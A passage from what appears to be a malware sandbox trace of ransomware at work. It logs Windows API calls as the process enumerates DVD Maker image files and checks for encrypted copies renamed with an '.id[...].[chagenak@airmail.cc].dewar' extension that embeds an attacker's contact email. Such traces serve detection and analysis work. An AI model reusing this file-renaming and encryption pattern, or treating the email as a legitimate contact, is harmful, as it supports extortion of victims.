lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0250.639] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=5025) returned 1 [0250.639] CloseHandle (hObject=0x1fc) returned 1 [0250.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png")) returned 0x20 [0250.640] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png")) returned 0x20 [0250.640] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0250.640] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0250.641] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3118) returned 1 [0250.641] CloseHandle (hObject=0x1fc) returned 1 [0250.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png")) returned 0x20 [0250.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png")) returned 0x20 [0250.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0250.642] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.643] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0250.646] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=4955) returned 1 [0250.646] CloseHandle (hObject=0x1fc) returned 1 [0250.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png")) returned 0x20 [0250.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png")) returned 0x20 [0250.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0250.646] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0250.648] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3081) returned 1 [0250.648] CloseHandle (hObject=0x1fc) returned 1 [0250.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png")) returned 0x20 [0250.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png")) returned 0x20 [0250.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0250.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0250.650] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3887) returned 1 [0250.650] CloseHandle (hObject=0x1fc) returned 1 [0250.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png")) returned 0x20 [0250.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png")) returned 0x20 [0250.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0250.651] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.652] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0250.665] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=4570) returned 1 [0250.665] CloseHandle (hObject=0x1fc) returned 1 [0250.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png")) returned 0x20 [0250.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png")) returned 0x20 [0250.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0250.666] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.666] SetEvent (hEvent=0x118) returned 1 [0250.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0250.889] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=2820) returned 1 [0250.889] CloseHandle (hObject=0x1fc) returned 1 [0250.889] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png")) returned 0x20 [0250.889] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png")) returned 0x20 [0250.889] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0250.890] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.890] SetEvent (hEvent=0x118) returned 1 [0250.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0252.122] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=10888) returned 1 [0252.122] CloseHandle (hObject=0x1e0) returned 1 [0252.122] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png")) returned 0x20 [0252.122] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png")) returned 0x20 [0252.122] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0252.123] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.123] SetEvent (hEvent=0x118) returned 1 [0252.125] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0252.416] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=5088) returned 1 [0252.416] CloseHandle (hObject=0x1e0) returned 1 [0252.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png")) returned 0x20 [0252.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png")) returned 0x20 [0252.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0252.417] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.418] SetEvent (hEvent=0x118) returned 1 [0252.418] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0252.419] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3130) returned 1 [0252.419] CloseHandle (hObject=0x1e0) returned 1 [0252.419] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png")) returned 0x20 [0252.419] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png")) returned 0x20 [0252.420] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0252.420] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.421] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0252.421] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=5025) returned 1 [0252.421] CloseHandle (hObject=0x1e0) returned 1 [0252.422] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png")) returned 0x20 [0252.422] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png")) returned 0x20 [0252.422] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0252.422] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.423] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0252.427] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3118) returned 1 [0252.427] CloseHandle (hObject=0x1e0) returned 1 [0252.427] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png")) returned 0x20 [0252.427] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png")) returned 0x20 [0252.427] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0252.428] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.428] SetEvent (hEvent=0x118) returned 1 [0252.429] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0252.429] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=4955) returned 1 [0252.429] CloseHandle (hObject=0x1e0) returned 1 [0252.429] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png")) returned 0x20 [0252.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png")) returned 0x20 [0252.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0252.430] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0252.431] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3081) returned 1 [0252.431] CloseHandle (hObject=0x1e0) returned 1 [0252.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png")) returned 0x20 [0252.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png")) returned 0x20 [0252.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0252.433] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.434] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0252.442] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=4570) returned 1 [0252.442] CloseHandle (hObject=0x1e0) returned 1 [0252.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png")) returned 0x20 [0252.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png")) returned 0x20 [0252.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0252.443] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" (normalized: "c:\\program files\\dvd 